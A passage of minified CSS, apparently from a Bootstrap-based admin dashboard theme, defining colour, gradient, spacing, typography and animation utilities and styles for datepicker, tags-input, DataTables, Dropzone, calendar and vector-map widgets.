img{margin-right:auto;margin-left:auto}.surtitle{margin-bottom:0;letter-spacing:2px;text-transform:uppercase;color:#8898aa}.bg-blue{background-color:#5e72e4!important}a.bg-blue:focus,a.bg-blue:hover,button.bg-blue:focus,button.bg-blue:hover{background-color:#324cdd!important}.bg-indigo{background-color:#5603ad!important}a.bg-indigo:focus,a.bg-indigo:hover,button.bg-indigo:focus,button.bg-indigo:hover{background-color:#3d027b!important}.bg-purple{background-color:#8965e0!important}a.bg-purple:focus,a.bg-purple:hover,button.bg-purple:focus,button.bg-purple:hover{background-color:#683bd7!important}.bg-pink{background-color:#f3a4b5!important}a.bg-pink:focus,a.bg-pink:hover,button.bg-pink:focus,button.bg-pink:hover{background-color:#ed7790!important}.bg-red{background-color:#f5365c!important}a.bg-red:focus,a.bg-red:hover,button.bg-red:focus,button.bg-red:hover{background-color:#ec0c38!important}.bg-orange{background-color:#fb6340!important}a.bg-orange:focus,a.bg-orange:hover,button.bg-orange:focus,button.bg-orange:hover{background-color:#fa3a0e!important}.bg-yellow{background-color:#ffd600!important}a.bg-yellow:focus,a.bg-yellow:hover,button.bg-yellow:focus,button.bg-yellow:hover{background-color:#ccab00!important}.bg-green{background-color:#2dce89!important}a.bg-green:focus,a.bg-green:hover,button.bg-green:focus,button.bg-green:hover{background-color:#24a46d!important}.bg-teal{background-color:#11cdef!important}a.bg-teal:focus,a.bg-teal:hover,button.bg-teal:focus,button.bg-teal:hover{background-color:#0da5c0!important}.bg-cyan{background-color:#2bffc6!important}a.bg-cyan:focus,a.bg-cyan:hover,button.bg-cyan:focus,button.bg-cyan:hover{background-color:#00f7b5!important}.bg-white{background-color:#fff!important}a.bg-white:focus,a.bg-white:hover,button.bg-white:focus,button.bg-white:hover{background-color:#e6e6e6!important}.bg-gray{background-color:#8898aa!important}a.bg-gray:focus,a.bg-gray:hover,button.bg-gray:focus,button.bg-gray:hover{background-color:#6a7e95!important}.bg-gray-dark{background-color:#32325d!important}a.bg-gray-dark:focus,a.bg-gray-dark:hover,button.bg-gray-dark:focus,button.bg-gray-dark:hover{background-color:#20203c!important}.bg-light{background-color:#ced4da!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#b1bbc4!important}.bg-lighter{background-color:#e9ecef!important}a.bg-lighter:focus,a.bg-lighter:hover,button.bg-lighter:focus,button.bg-lighter:hover{background-color:#cbd3da!important}.bg-as{background:linear-gradient(to right,#5E72E4,#FA8BFF,#2BD2FF,#2BFF88,#172B4D,#F5365C,#fb6340);background-size:2000%;animation:gradientBackground 30s alternate ease-in-out;animation-iteration-count:infinite;}.bg-gradient-as{background:linear-gradient(to right,#5E72E4,#FA8BFF,#2BD2FF,#2BFF88,#172B4D,#F5365C,#fb6340);background-size:2000%;animation:gradientBackground 30s alternate ease-in-out;animation-iteration-count:infinite;}.bg-gradient-primary{background:linear-gradient(87deg,#5e72e4 0,#825ee4 100%)!important}.bg-gradient-secondary{background:linear-gradient(87deg,#f7fafc 0,#f7f8fc 100%)!important}.bg-gradient-success{background:linear-gradient(87deg,#2dce89 0,#2dcecc 100%)!important}.bg-gradient-info{background:linear-gradient(87deg,#11cdef 0,#1171ef 100%)!important}.bg-gradient-warning{background:linear-gradient(87deg,#fb6340 0,#fbb140 100%)!important}.bg-gradient-danger{background:linear-gradient(87deg,#f5365c 0,#f56036 100%)!important}.bg-gradient-light{background:linear-gradient(87deg,#adb5bd 0,#adaebd 100%)!important}.bg-gradient-dark{background:linear-gradient(87deg,#212529 0,#212229 100%)!important}.bg-gradient-default{background:linear-gradient(87deg,#172b4d 0,#1a174d 100%)!important}.bg-gradient-white{background:linear-gradient(87deg,#fff 0,#fff 100%)!important}.bg-gradient-neutral{background:linear-gradient(87deg,#fff 0,#fff 100%)!important}.bg-gradient-darker{background:linear-gradient(87deg,#000 0,#000 100%)!important}.bg-gradient-blue{background:linear-gradient(87deg,#5e72e4 0,#825ee4 100%)!important}.bg-gradient-indigo{background:linear-gradient(87deg,#5603ad 0,#9d03ad 100%)!important}.bg-gradient-purple{background:linear-gradient(87deg,#8965e0 0,#bc65e0 100%)!important}.bg-gradient-pink{background:linear-gradient(87deg,#f3a4b5 0,#f3b4a4 100%)!important}.bg-gradient-red{background:linear-gradient(87deg,#f5365c 0,#f56036 100%)!important}.bg-gradient-orange{background:linear-gradient(87deg,#fb6340 0,#fbb140 100%)!important}.bg-gradient-yellow{background:linear-gradient(87deg,#ffd600 0,#beff00 100%)!important}.bg-gradient-green{background:linear-gradient(87deg,#2dce89 0,#2dcecc 100%)!important}.bg-gradient-teal{background:linear-gradient(87deg,#11cdef 0,#1171ef 100%)!important}.bg-gradient-cyan{background:linear-gradient(87deg,#2bffc6 0,#2be0ff 100%)!important}.bg-gradient-white{background:linear-gradient(87deg,#fff 0,#fff 100%)!important}.bg-gradient-gray{background:linear-gradient(87deg,#8898aa 0,#888aaa 100%)!important}.bg-gradient-gray-dark{background:linear-gradient(87deg,#32325d 0,#44325d 100%)!important}.bg-gradient-light{background:linear-gradient(87deg,#ced4da 0,#cecfda 100%)!important}.bg-gradient-lighter{background:linear-gradient(87deg,#e9ecef 0,#e9eaef 100%)!important}.bg-translucent-primary{background-color:rgba(63,87,223,.6)!important}a.bg-translucent-primary:focus,a.bg-translucent-primary:hover,button.bg-translucent-primary:focus,button.bg-translucent-primary:hover{background-color:rgba(42,68,219,.6)!important}.bg-translucent-secondary{background-color:rgba(221,234,242,.6)!important}a.bg-translucent-secondary:focus,a.bg-translucent-secondary:hover,button.bg-translucent-secondary:focus,button.bg-translucent-secondary:hover{background-color:rgba(202,222,235,.6)!important}.bg-translucent-success{background-color:rgba(39,177,118,.6)!important}a.bg-translucent-success:focus,a.bg-translucent-success:hover,button.bg-translucent-success:focus,button.bg-translucent-success:hover{background-color:rgba(34,156,104,.6)!important}.bg-translucent-info{background-color:rgba(14,177,206,.6)!important}a.bg-translucent-info:focus,a.bg-translucent-info:hover,button.bg-translucent-info:focus,button.bg-translucent-info:hover{background-color:rgba(12,156,183,.6)!important}.bg-translucent-warning{background-color:rgba(250,70,29,.6)!important}a.bg-translucent-warning:focus,a.bg-translucent-warning:hover,button.bg-translucent-warning:focus,button.bg-translucent-warning:hover{background-color:rgba(249,51,5,.6)!important}.bg-translucent-danger{background-color:rgba(243,20,64,.6)!important}a.bg-translucent-danger:focus,a.bg-translucent-danger:hover,button.bg-translucent-danger:focus,button.bg-translucent-danger:hover{background-color:rgba(227,11,54,.6)!important}.bg-translucent-light{background-color:rgba(153,163,173,.6)!important}a.bg-translucent-light:focus,a.bg-translucent-light:hover,button.bg-translucent-light:focus,button.bg-translucent-light:hover{background-color:rgba(139,150,162,.6)!important}.bg-translucent-dark{background-color:rgba(17,19,21,.6)!important}a.bg-translucent-dark:focus,a.bg-translucent-dark:hover,button.bg-translucent-dark:focus,button.bg-translucent-dark:hover{background-color:rgba(6,6,7,.6)!important}.bg-translucent-default{background-color:rgba(15,28,50,.6)!important}a.bg-translucent-default:focus,a.bg-translucent-default:hover,button.bg-translucent-default:focus,button.bg-translucent-default:hover{background-color:rgba(9,17,30,.6)!important}.bg-translucent-white{background-color:rgba(237,237,237,.6)!important}a.bg-translucent-white:focus,a.bg-translucent-white:hover,button.bg-translucent-white:focus,button.bg-translucent-white:hover{background-color:rgba(224,224,224,.6)!important}.bg-translucent-neutral{background-color:rgba(237,237,237,.6)!important}a.bg-translucent-neutral:focus,a.bg-translucent-neutral:hover,button.bg-translucent-neutral:focus,button.bg-translucent-neutral:hover{background-color:rgba(224,224,224,.6)!important}.bg-translucent-darker{background-color:rgba(0,0,0,.6)!important}a.bg-translucent-darker:focus,a.bg-translucent-darker:hover,button.bg-translucent-darker:focus,button.bg-translucent-darker:hover{background-color:rgba(0,0,0,.6)!important}.section-primary{background-color:#f8f9fe!important}a.section-primary:focus,a.section-primary:hover,button.section-primary:focus,button.section-primary:hover{background-color:#cbd3f8!important}.section-secondary{background-color:#f7fafc!important}a.section-secondary:focus,a.section-secondary:hover,button.section-secondary:focus,button.section-secondary:hover{background-color:#d2e3ee!important}.section-light{background-color:#ced4da!important}a.section-light:focus,a.section-light:hover,button.section-light:focus,button.section-light:hover{background-color:#b1bbc4!important}.section-dark{background-color:#212529!important}a.section-dark:focus,a.section-dark:hover,button.section-dark:focus,button.section-dark:hover{background-color:#0a0c0d!important}.section-darker{background-color:#000!important}a.section-darker:focus,a.section-darker:hover,button.section-darker:focus,button.section-darker:hover{background-color:#000!important}.bg-gradient-primary{background:linear-gradient(87deg,#5e72e4 0,#825ee4 100%)!important}.bg-gradient-secondary{background:linear-gradient(87deg,#f7fafc 0,#f7f8fc 100%)!important}.bg-gradient-success{background:linear-gradient(87deg,#2dce89 0,#2dcecc 100%)!important}.bg-gradient-info{background:linear-gradient(87deg,#11cdef 0,#1171ef 100%)!important}.bg-gradient-warning{background:linear-gradient(87deg,#fb6340 0,#fbb140 100%)!important}.bg-gradient-danger{background:linear-gradient(87deg,#f5365c 0,#f56036 100%)!important}.bg-gradient-light{background:linear-gradient(87deg,#adb5bd 0,#adaebd 100%)!important}.bg-gradient-dark{background:linear-gradient(87deg,#212529 0,#212229 100%)!important}.bg-gradient-default{background:linear-gradient(87deg,#172b4d 0,#1a174d 100%)!important}.bg-gradient-white{background:linear-gradient(87deg,#fff 0,#fff 100%)!important}.bg-gradient-neutral{background:linear-gradient(87deg,#fff 0,#fff 100%)!important}.bg-gradient-darker{background:linear-gradient(87deg,#000 0,#000 100%)!important}.fill-primary{fill:#5e72e4}.stroke-primary{stroke:#5e72e4}.fill-secondary{fill:#f7fafc}.stroke-secondary{stroke:#f7fafc}.fill-success{fill:#2dce89}.stroke-success{stroke:#2dce89}.fill-info{fill:#11cdef}.stroke-info{stroke:#11cdef}.fill-warning{fill:#fb6340}.stroke-warning{stroke:#fb6340}.fill-danger{fill:#f5365c}.stroke-danger{stroke:#f5365c}.fill-light{fill:#adb5bd}.stroke-light{stroke:#adb5bd}.fill-dark{fill:#212529}.stroke-dark{stroke:#212529}.fill-default{fill:#172b4d}.stroke-default{stroke:#172b4d}.fill-white{fill:#fff}.stroke-white{stroke:#fff}.fill-neutral{fill:#fff}.stroke-neutral{stroke:#fff}.fill-darker{fill:#000}.stroke-darker{stroke:#000}.fill-opacity-8{fill-opacity:.8}.blur--hover{position:relative}.blur--hover .blur-item{transition:1s cubic-bezier(.19,1,.22,1);opacity:1;will-change:transform;filter:blur(0)}.blur--hover .blur-hidden{position:absolute;z-index:100;top:calc(50% + 7px);left:50%;transition:all .15s ease;transform:translate(-50%,-50%);opacity:0}.blur--hover:hover .blur-item{z-index:1;transform:scale(.95);opacity:.8;filter:blur(10px)}.blur--hover:hover .blur-hidden{top:50%;opacity:1}.floating{animation:floating 3s ease infinite;will-change:transform}.floating:hover{animation-play-state:paused}.floating-lg{animation:floating-lg 3s ease infinite}.floating-sm{animation:floating-sm 3s ease infinite}@keyframes floating-lg{0%{transform:translateY(0)}50%{transform:translateY(15px)}100%{transform:translateY(0)}}@keyframes floating{0%{transform:translateY(0)}50%{transform:translateY(10px)}100%{transform:translateY(0)}}@keyframes floating-sm{0%{transform:translateY(0)}50%{transform:translateY(5px)}100%{transform:translateY(0)}}.floatfix:after,.floatfix:before{display:table;content:''}.floatfix:after{clear:both}.img-center{display:block;margin-right:auto;margin-left:auto}.opacity-1{opacity:.1!important}.opacity-2{opacity:.2!important}.opacity-3{opacity:.3!important}.opacity-4{opacity:.4!important}.opacity-5{opacity:.5!important}.opacity-6{opacity:.6!important}.opacity-7{opacity:.7!important}.opacity-8{opacity:.8!important}.opacity-8{opacity:.9!important}.opacity-10{opacity:1!important}.overflow-visible{overflow:visible!important}.overflow-hidden{overflow:hidden!important}.top-0{top:0}.right-0{right:0}.bottom-0{bottom:0}.left-0{left:0}.top-1{top:.25rem}.right-1{right:.25rem}.bottom-1{bottom:.25rem}.left-1{left:.25rem}.top-2{top:.5rem}.right-2{right:.5rem}.bottom-2{bottom:.5rem}.left-2{left:.5rem}.top-3{top:1rem}.right-3{right:1rem}.bottom-3{bottom:1rem}.left-3{left:1rem}.top-4{top:1.5rem}.right-4{right:1.5rem}.bottom-4{bottom:1.5rem}.left-4{left:1.5rem}.top-5{top:3rem}.right-5{right:3rem}.bottom-5{bottom:3rem}.left-5{left:3rem}.top--9{top:-10rem}.right--9{right:-10rem}.bottom--9{bottom:-10rem}.left--9{left:-10rem}.top--8{top:-8rem}.right--8{right:-8rem}.bottom--8{bottom:-8rem}.left--8{left:-8rem}.top--7{top:-6rem}.right--7{right:-6rem}.bottom--7{bottom:-6rem}.left--7{left:-6rem}.top--6{top:-4.5rem}.right--6{right:-4.5rem}.bottom--6{bottom:-4.5rem}.left--6{left:-4.5rem}.top--5{top:-3rem}.right--5{right:-3rem}.bottom--5{bottom:-3rem}.left--5{left:-3rem}.top--4{top:-1.5rem}.right--4{right:-1.5rem}.bottom--4{bottom:-1.5rem}.left--4{left:-1.5rem}.top--3{top:-1rem}.right--3{right:-1rem}.bottom--3{bottom:-1rem}.left--3{left:-1rem}.top--2{top:-.5rem}.right--2{right:-.5rem}.bottom--2{bottom:-.5rem}.left--2{left:-.5rem}.top--1{top:-.25rem}.right--1{right:-.25rem}.bottom--1{bottom:-.25rem}.left--1{left:-.25rem}.top-6{top:4.5rem}.right-6{right:4.5rem}.bottom-6{bottom:4.5rem}.left-6{left:4.5rem}.top-7{top:6rem}.right-7{right:6rem}.bottom-7{bottom:6rem}.left-7{left:6rem}.top-8{top:8rem}.right-8{right:8rem}.bottom-8{bottom:8rem}.left-8{left:8rem}.top-9{top:10rem}.right-9{right:10rem}.bottom-9{bottom:10rem}.left-9{left:10rem}.center{left:50%;transform:translateX(-50%)}[class*=shadow]{transition:all .15s ease}.shadow-sm--hover:hover{box-shadow:0 0 .5rem rgba(136,152,170,.075)!important}.shadow--hover:hover{box-shadow:0 0 2rem 0 rgba(136,152,170,.15)!important}.shadow-lg--hover:hover{box-shadow:0 0 3rem rgba(136,152,170,.175)!important}.shadow-none--hover:hover{box-shadow:none!important}.h-100vh{height:100vh!important}.row.row-grid>[class*=col-]+[class*=col-]{margin-top:3rem}@media (min-width:992px){.row.row-grid>[class*=col-lg-]+[class*=col-lg-]{margin-top:0}}@media (min-width:768px){.row.row-grid>[class*=col-md-]+[class*=col-md-]{margin-top:0}}@media (min-width:576px){.row.row-grid>[class*=col-sm-]+[class*=col-sm-]{margin-top:0}}.row-grid+.row-grid{margin-top:3rem}@media (min-width:992px){.mt--100{margin-top:-100px!important}.mr--100{margin-right:-100px!important}.mb--100{margin-bottom:-100px!important}.ml--100{margin-left:-100px!important}.mt--150{margin-top:-150px!important}.mb--150{margin-bottom:-150px!important}.mt--200{margin-top:-200px!important}.mb--200{margin-bottom:-200px!important}.mt--300{margin-top:-300px!important}.mb--300{margin-bottom:-300px!important}.pt-100{padding-top:100px!important}.pb-100{padding-bottom:100px!important}.pt-150{padding-top:150px!important}.pb-150{padding-bottom:150px!important}.pt-200{padding-top:200px!important}.pb-200{padding-bottom:200px!important}.pt-250{padding-top:250px!important}.pb-250{padding-bottom:250px!important}.pt-300{padding-top:300px!important}.pb-300{padding-bottom:300px!important}}.font-weight-300{font-weight:300!important}.font-weight-400{font-weight:400!important}.font-weight-500{font-weight:500!important}.font-weight-600{font-weight:600!important}.font-weight-700{font-weight:700!important}.font-weight-800{font-weight:800!important}.font-weight-900{font-weight:900!important}.text-underline{text-decoration:underline}.text-through{text-decoration:line-through}.text-xs{font-size:.75rem!important}.text-sm{font-size:.875rem!important}.text-lg{font-size:1.25rem!important}.text-xl{font-size:1.5rem!important}.lh-100{line-height:1}.lh-110{line-height:1.1}.lh-120{line-height:1.2}.lh-130{line-height:1.3}.lh-140{line-height:1.4}.lh-150{line-height:1.5}.lh-160{line-height:1.6}.lh-170{line-height:1.7}.lh-180{line-height:1.8}.ls-1{letter-spacing:.0625rem}.ls-15{letter-spacing:.09375rem}.ls-2{letter-spacing:.125rem}.text-blue{color:#5e72e4!important}a.text-blue:focus,a.text-blue:hover{color:#233dd2!important}.text-indigo{color:#5603ad!important}a.text-indigo:focus,a.text-indigo:hover{color:#310262!important}.text-purple{color:#8965e0!important}a.text-purple:focus,a.text-purple:hover{color:#5a2acf!important}.text-pink{color:#f3a4b5!important}a.text-pink:focus,a.text-pink:hover{color:#ea607e!important}.text-red{color:#f5365c!important}a.text-red:focus,a.text-red:hover{color:#d40b33!important}.text-orange{color:#fb6340!important}a.text-orange:focus,a.text-orange:hover{color:#ea3005!important}.text-yellow{color:#ffd600!important}a.text-yellow:focus,a.text-yellow:hover{color:#b39600!important}.text-green{color:#2dce89!important}a.text-green:focus,a.text-green:hover{color:#1f8f5f!important}.text-teal{color:#11cdef!important}a.text-teal:focus,a.text-teal:hover{color:#0b90a8!important}.text-cyan{color:#2bffc6!important}a.text-cyan:focus,a.text-cyan:hover{color:#00dea2!important}.text-white{color:#fff!important}a.text-white:focus,a.text-white:hover{color:#d9d9d9!important}.text-gray{color:#8898aa!important}a.text-gray:focus,a.text-gray:hover{color:#607286!important}.text-gray-dark{color:#32325d!important}a.text-gray-dark:focus,a.text-gray-dark:hover{color:#17172b!important}.text-light{color:#ced4da!important}a.text-light:focus,a.text-light:hover{color:#a2aeb9!important}.text-lighter{color:#e9ecef!important}a.text-lighter:focus,a.text-lighter:hover{color:#bdc6cf!important}@media (min-width:992px){.transform-perspective-right{transform:scale(1) perspective(1040px) rotateY(-11deg) rotateX(2deg) rotate(2deg)}.transform-perspective-left{transform:scale(1) perspective(2000px) rotateY(11deg) rotateX(2deg) rotate(-2deg)}}.datepicker{border-radius:.375rem;direction:ltr}.datepicker-inline{width:220px}.datepicker-rtl{direction:rtl}.datepicker-rtl.dropdown-menu{left:auto}.datepicker-rtl table tr td span{float:right}.datepicker-dropdown{top:0;left:0;padding:20px 22px;box-shadow:0 50px 100px rgba(50,50,93,.1),0 15px 35px rgba(50,50,93,.15),0 5px 15px rgba(0,0,0,.1)}.datepicker-dropdown.datepicker-orient-left:before{left:6px}.datepicker-dropdown.datepicker-orient-left:after{left:7px}.datepicker-dropdown.datepicker-orient-right:before{right:6px}.datepicker-dropdown.datepicker-orient-right:after{right:7px}.datepicker-dropdown.datepicker-orient-bottom:before{top:-7px}.datepicker-dropdown.datepicker-orient-bottom:after{top:-6px}.datepicker-dropdown.datepicker-orient-top:before{bottom:-7px;border-top:7px solid #fff;border-bottom:0}.datepicker-dropdown.datepicker-orient-top:after{bottom:-6px;border-top:6px solid #fff;border-bottom:0}.datepicker table{margin:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-touch-callout:none}.datepicker table tr td{border-radius:50%}.datepicker table tr th{font-weight:500;border-radius:.375rem}.datepicker table tr td,.datepicker table tr th{font-size:.875rem;width:36px;height:36px;transition:all .15s ease;text-align:center;border:none}.table-striped .datepicker table tr td,.table-striped .datepicker table tr th{background-color:transparent}.datepicker table tr td.new,.datepicker table tr td.old{color:#adb5bd}.datepicker table tr td.day:hover,.datepicker table tr td.focused{cursor:pointer;background:#fff}.datepicker table tr td.disabled,.datepicker table tr td.disabled:hover{cursor:default;color:#dee2e6;background:0 0}.datepicker table tr td.highlighted{border-radius:0}.datepicker table tr td.highlighted.focused{background:#5e72e4}.datepicker table tr td.highlighted.disabled,.datepicker table tr td.highlighted.disabled:active{color:#ced4da;background:#5e72e4}.datepicker table tr td.today{background:#fff}.datepicker table tr td.today.focused{background:#fff}.datepicker table tr td.today.disabled,.datepicker table tr td.today.disabled:active{color:#8898aa;background:#fff}.datepicker table tr td.range{color:#fff;border-radius:0;background:#5e72e4}.datepicker table tr td.range.focused{background:#3b53de}.datepicker table tr td.range.day.disabled:hover,.datepicker table tr td.range.disabled,.datepicker table tr td.range.disabled:active{color:#8a98eb;background:#324cdd}.datepicker table tr td.range.highlighted.focused{background:#cbd3da}.datepicker table tr td.range.highlighted.disabled,.datepicker table tr td.range.highlighted.disabled:active{color:#dee2e6;background:#e9ecef}.datepicker table tr td.range.today.disabled,.datepicker table tr td.range.today.disabled:active{color:#fff;background:#5e72e4}.datepicker table tr td.day.range-start{border-top-right-radius:0;border-bottom-right-radius:0}.datepicker table tr td.day.range-end{border-top-left-radius:0;border-bottom-left-radius:0}.datepicker table tr td.day.range-start.range-end{border-radius:50%}.datepicker table tr td.day.range:hover,.datepicker table tr td.selected,.datepicker table tr td.selected.highlighted,.datepicker table tr td.selected.highlighted:hover,.datepicker table tr td.selected:hover{color:#fff;background:#5e72e4}.datepicker table tr td.active,.datepicker table tr td.active.highlighted,.datepicker table tr td.active.highlighted:hover,.datepicker table tr td.active:hover{color:#fff;background:#5e72e4;box-shadow:none}.datepicker table tr td span{line-height:54px;display:block;float:left;width:23%;height:54px;margin:1%;cursor:pointer;border-radius:4px}.datepicker table tr td span.focused,.datepicker table tr td span:hover{background:#e9ecef}.datepicker table tr td span.disabled,.datepicker table tr td span.disabled:hover{cursor:default;color:#dee2e6;background:0 0}.datepicker table tr td span.active,.datepicker table tr td span.active.disabled,.datepicker table tr td span.active.disabled:hover,.datepicker table tr td span.active:hover{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.datepicker table tr td span.new,.datepicker table tr td span.old{color:#8898aa}.datepicker .datepicker-switch{width:145px}.datepicker .datepicker-switch,.datepicker .next,.datepicker .prev,.datepicker tfoot tr th{cursor:pointer}.datepicker .datepicker-switch:hover,.datepicker .next:hover,.datepicker .prev:hover,.datepicker tfoot tr th:hover{background:#e9ecef}.datepicker .next.disabled,.datepicker .prev.disabled{visibility:hidden}.datepicker .cw{font-size:10px;width:12px;padding:0 2px 0 5px;vertical-align:middle}.bootstrap-tagsinput{display:inline-block;max-width:100%;padding:.25rem;cursor:text;vertical-align:middle;color:#8898aa;border:0 solid transparent;border-radius:.25rem;background-color:#fff}.bootstrap-tagsinput input{width:auto;max-width:inherit;margin:0;padding:0 6px;border:none;outline:0;background-color:transparent;box-shadow:none}.bootstrap-tagsinput input::-ms-input-placeholder{opacity:1;color:#adb5bd}.bootstrap-tagsinput input::placeholder{opacity:1;color:#adb5bd}.bootstrap-tagsinput input:focus{border:none;box-shadow:none}.bootstrap-tagsinput .badge{line-height:1.5;position:relative;margin:.125rem;padding:.625rem .625rem .5rem;transition:all .15s ease;color:#fff;border-radius:.25rem;background:#172b4d;box-shadow:0 1px 2px rgba(68,68,68,.25)}@media (prefers-reduced-motion:reduce){.bootstrap-tagsinput .badge{transition:none}}.bootstrap-tagsinput .badge:hover{padding-right:1.5rem}.bootstrap-tagsinput [data-role=remove]{position:absolute;top:50%;margin-left:10px;cursor:pointer;transform:translate(0,-50%);color:#fff}.bootstrap-tagsinput [data-role=remove]:after{font-size:16px;content:'×'}#chartjs-tooltip{position:absolute;transition:all .1s ease;transform:translate(-50%,0);pointer-events:none;opacity:1;color:#fff;border-radius:3px;background:rgba(0,0,0,.7)}.chartjs-tooltip-key{display:inline-block;width:10px;height:10px;margin-right:10px}.dataTables_wrapper{font-size:.875rem}table.dataTable{margin-bottom:1.25rem!important;border-bottom:1px solid #e9ecef}table.dataTable tbody>tr.selected{background-color:#5e72e4}.dataTables_info,.dataTables_length,.dt-buttons{padding-left:1.5rem}.dataTables_length .form-control{margin:0 .375rem}.dataTables_filter{display:inline-block;float:right;padding-right:1.5rem}.dataTables_paginate{padding-right:1.5rem}.dropzone{position:relative;display:flex;flex-direction:column}.dz-message{z-index:999;padding:5rem 1rem;cursor:pointer;transition:all .15s ease;text-align:center;color:#8898aa;border:1px dashed #dee2e6;border-radius:.375rem;background-color:#fff;order:-1}.dz-message:hover{color:#525f7f;border-color:#8898aa}.dz-drag-hover .dz-message{color:#5e72e4;border-color:#5e72e4}.dropzone-multiple .dz-message{padding-top:2rem;padding-bottom:2rem}.dropzone-single.dz-max-files-reached .dz-message{opacity:0;color:#fff;background-color:rgba(0,0,0,.9)}.dropzone-single.dz-max-files-reached .dz-message:hover{opacity:1}.dz-preview-single{position:absolute;top:0;right:0;bottom:0;left:0;border-radius:.375rem}.dz-preview-cover{position:absolute;top:0;right:0;bottom:0;left:0;border-radius:.375rem}.dz-preview-img{width:100%;height:100%;border-radius:.375rem;-o-object-fit:cover;object-fit:cover}.dz-preview-multiple .list-group-item:last-child{padding-bottom:0;border-bottom:0}[data-dz-size] strong{font-weight:400}.fc-header-toolbar{display:none}.fc-scroller{height:auto!important}.fc th{font-size:.75rem;font-weight:600;padding:.75rem 1rem;text-transform:uppercase;color:#8898aa}.fc div.fc-row{margin-right:0;border:0}.fc button .fc-icon{top:-5px}.fc-unthemed td.fc-today{background-color:transparent}.fc-unthemed td.fc-today span{color:#fb6340}.fc-event{font-size:.75rem;padding:0;border:0;border-radius:.25rem}.fc-event .fc-title{font-weight:600;display:block;overflow:hidden;padding:.4rem .5rem;white-space:nowrap;text-overflow:ellipsis;color:#fff}.fc-event .fc-time{float:left;margin:0 0 0 -1px;padding:2px 6px;background:rgba(0,0,0,.2)}.fc-view,.fc-view>table{overflow:hidden;border:0}.fc-view>table>tbody>tr .ui-widget-content{border-top:0}.fc-body{border:0}.fc-icon{font-family:NucleoIcons,sans-serif;font-size:1rem;line-height:35px;width:35px;height:35px;border-radius:50%}.fc-icon:hover{color:#5e72e4}.fc-button{border:0;background:0 0;box-shadow:none}.fc-button:active,.fc-button:focus{outline:0}.calendar{z-index:0}.calendar td,.calendar th{border-color:#eff1f3}.calendar .fc-toolbar{position:relative;z-index:2;height:250px;margin-bottom:-2px;border-radius:.375rem .375rem 0 0;background-color:#fff}@media (max-width:575.98px){.calendar .fc-toolbar{height:135px}}.calendar .fc-day-number{box-sizing:border-box;width:100%;padding:.5rem 1rem}@media (min-width:576px){.calendar .fc-day-number{font-size:.875rem;font-weight:600;color:#67779d}}.calendar .fc-day-header{text-align:left}.calendar .fc-day-grid-event{margin:1px 9px}[data-calendar-month]{transition:background-image .3s;background-size:contain}@media (prefers-reduced-motion:reduce){[data-calendar-month]{transition:none}}[data-calendar-month='0']{background-image:url(../img/calendar/january.jpg)}[data-calendar-month='1']{background-image:url(../img/calendar/february.jpg)}[data-calendar-month='2']{background-image:url(../img/calendar/march.jpg)}[data-calendar-month='3']{background-image:url(../img/calendar/april.jpg)}[data-calendar-month='4']{background-image:url(../img/calendar/may.jpg)}[data-calendar-month='5']{background-image:url(../img/calendar/june.jpg)}[data-calendar-month='6']{background-image:url(../img/calendar/july.jpg)}[data-calendar-month='7']{background-image:url(../img/calendar/august.jpg)}[data-calendar-month='8']{background-image:url(../img/calendar/september.jpg)}[data-calendar-month='9']{background-image:url(../img/calendar/october.jpg)}[data-calendar-month='10']{background-image:url(../img/calendar/november.jpg)}[data-calendar-month='11']{background-image:url(../img/calendar/december.jpg)}.card-calendar .card-header{border-bottom:0}.card-calendar table{background:0 0}.card-calendar table tr>td:first-child{border-left-width:0}.card-calendar table tr>td:last-child{border-right-width:0}.widget-calendar{position:relative;z-index:0}.widget-calendar td,.widget-calendar th{text-align:center;border-color:transparent}.widget-calendar .fc-toolbar{margin-top:1.25rem}.widget-calendar .fc-toolbar h2{font-size:1rem}.widget-calendar .fc-day-number{width:100%;padding:0;text-align:center}.widget-calendar .fc table{font-size:.875rem}.widget-calendar .fc th{font-size:.75rem;padding:.75rem .5rem}.vector-map{position:relative;height:600px}.vector-map-sm{height:280px}.jvectormap-container{width:100%;height:100%}.jvectormap-zoomin,.jvectormap-zoomout{position:absolute;bottom:0;left:0}.jvectormap-zoomin{bottom:4.25rem}.jvectormap-zoomout{bottom:2rem}.hide{display:none;}/*! + * Lavalamp + * http://lavalamp.magicmediamuse.com/ + */.lavalamp{position:relative}.lavalamp-item{position:relative;z-index:5}.lavalamp-object{position:absolute;top:0;left:0}.lavalamp .lavalamp-object{transition-property:transform,width,height}.lavalamp .lavalamp-object.ease{transition-timing-function:ease}.lavalamp .lavalamp-object.ease-in{transition-timing-function:ease-in}.lavalamp .lavalamp-object.ease-out{transition-timing-function:ease-out}.lavalamp .lavalamp-object.ease-in-out{transition-timing-function:ease-in-out}.lavalamp .lavalamp-object.linear{transition-timing-function:linear}.lavalamp .lavalamp-object.easeInQuad{transition-timing-function:cubic-bezier(.55,.085,.68,.53)}.lavalamp .lavalamp-object.easeInCubic{transition-timing-function:cubic-bezier(.55,.055,.675,.19)}.lavalamp .lavalamp-object.easeInQuart{transition-timing-function:cubic-bezier(.895,.03,.685,.22)}.lavalamp .lavalamp-object.easeInQuint{transition-timing-function:cubic-bezier(.755,.05,.855,.06)}.lavalamp .lavalamp-object.easeInSine{transition-timing-function:cubic-bezier(.47,0,.745,.715)}.lavalamp .lavalamp-object.easeInExpo{transition-timing-function:cubic-bezier(.95,.05,.795,.035)}.lavalamp .lavalamp-object.easeInCirc{transition-timing-function:cubic-bezier(.6,.04,.98,.335)}.lavalamp .lavalamp-object.easeInBack{transition-timing-function:cubic-bezier(.6,-.28,.735,.045)}.lavalamp .lavalamp-object.easeOutQuad{transition-timing-function:cubic-bezier(.25,.46,.45,.94)}.lavalamp .lavalamp-object.easeOutCubic{transition-timing-function:cubic-bezier(.215,.61,.355,1)}.lavalamp .lavalamp-object.easeOutQuart{transition-timing-function:cubic-bezier(.165,.84,.44,1)}.lavalamp .lavalamp-object.easeOutQuint{transition-timing-function:cubic-bezier(.23,1,.32,1)}.lavalamp .lavalamp-object.easeOutSine{transition-timing-function:cubic-bezier(.39,.575,.565,1)}.lavalamp .lavalamp-object.easeOutExpo{transition-timing-function:cubic-bezier(.19,1,.22,1)}.lavalamp .lavalamp-object.easeOutCirc{transition-timing-function:cubic-bezier(.075,.82,.165,1)}.lavalamp 